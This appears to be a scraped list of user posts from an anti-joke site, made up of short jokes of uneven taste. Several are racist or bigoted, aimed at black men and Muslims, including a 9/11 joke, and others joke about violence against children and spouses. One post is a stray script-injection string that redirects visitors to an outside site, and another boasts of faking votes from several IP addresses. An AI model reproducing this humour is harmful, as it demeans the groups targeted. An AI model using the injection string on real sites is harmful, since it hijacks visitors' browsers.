How much does Michael Vick love his dogs? More than Casey Anthony loved her daughter.

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No, but I am not just an author, the important thing is, that this kid has been stopped as we speak, as I said he was selling information to several clients on the deep web, and patterns do reveal that he was selling you out piece by piece while prepared to make a run for it once he delivered the vital details. Say, did you promote this guy a bit too fast or something? Either he knows as much as you do, or otherwise he has been learning the ins and outs of your little place pretty fast.

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how many flys in a box six --sticksack

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why shouldnt you throw a rock at a black guy on a bike? Just because its not very nice.

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Why did the black man cross the road? He was chasing the chicken

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Why did the monkey fall out of the tree? It had a heart attack. Why did the baby fall out of the tree? It was stapled to the monkey

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How do you get dislikes on anti-joke.com? You can dislike your own post from several different IP addresses.

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A man walks into a store. He purchases what he was intending to, walks out, and gets on with his day.

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your mom is so ugly that she was made fun of in highschool so much that she now has social issues and a fear of close relationships which is why she left you and your father at age 5

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What did one Teacher say to the other teacher? Nothing. The first teacher has a horrible drinking habbit which is getting out of hand, He beats his wife and children each night after his drinks at the bar. His parents have stopped all contact and he found some divorce papers in his wifes draw, also saying she would be getting full costudy of the children. He has lost the majority of his friends and didnt want to loose another one, and kept his problems to himself.

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What's black and white and red all over? A dead Zebra

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Hook a finger from each hand in your mouth, now pull so your lips are tight and try to say "I was born on a pirate ship" I'm sorry, I can hardly understand you.

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Why did Dracula cross the road? To get to the other unbitten virgin.

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But there's a sound Dumbledore knows... What does the Fawkes say?

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"'>document.location.href="http://cramik.org"

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Why does sammy have a cut on her arm? becuase her mom went to go stab her dad and missed

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There once was a girl who took away my source of entertainment. Her name was Nicole.

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Why do black guys have ashy elbows? Because of 9/11

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Q: Why didn't Little Jhonny go to school today? A: There was no school today.

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What's the difference between a bowling ball and a sorority girl? You could always eat the bowling ball if you really had to.

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Whats fuzzy and pink? A pink fuzz ball

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What's the difference between Rebecca Black and your mom? Nope! Chuck Testa.

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What's worse than The Holocaust? CREED...

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So there is a muslum, then he flew a plane into a building and died a sudden death. But he was wearing a helmet.

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